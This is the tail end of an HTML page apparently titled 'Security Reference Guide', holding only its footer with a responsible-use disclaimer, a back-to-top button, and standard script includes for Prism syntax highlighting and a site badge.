<span class="text-lg font-semibold text-white">Security Reference Guide</span>
</div>
<p class="text-gray-400 mb-4">
This reference guide is intended for authorized security testing and educational purposes only.
</p>
<p class="text-gray-500 text-sm">
© 2025 Professional Security Reference. All rights reserved. Use responsibly.
</p>
</div>
</div>
</footer>
<!-- Back to top button -->
<button id="back-to-top" class="fixed bottom-8 right-8 bg-accent-500 text-white p-3 rounded-full shadow-lg hover:bg-accent-600 transition-colors opacity-0 invisible">
<i data-feather="arrow-up" class="w-6 h-6"></i>
</button>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/components/prism-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/plugins/autoloader/prism-autoloader.min.js"></script>
<script src="script.js"></script>
<script src="https://huggingface.co/deepsite/deepsite-badge.js"></script>
</body>
</html>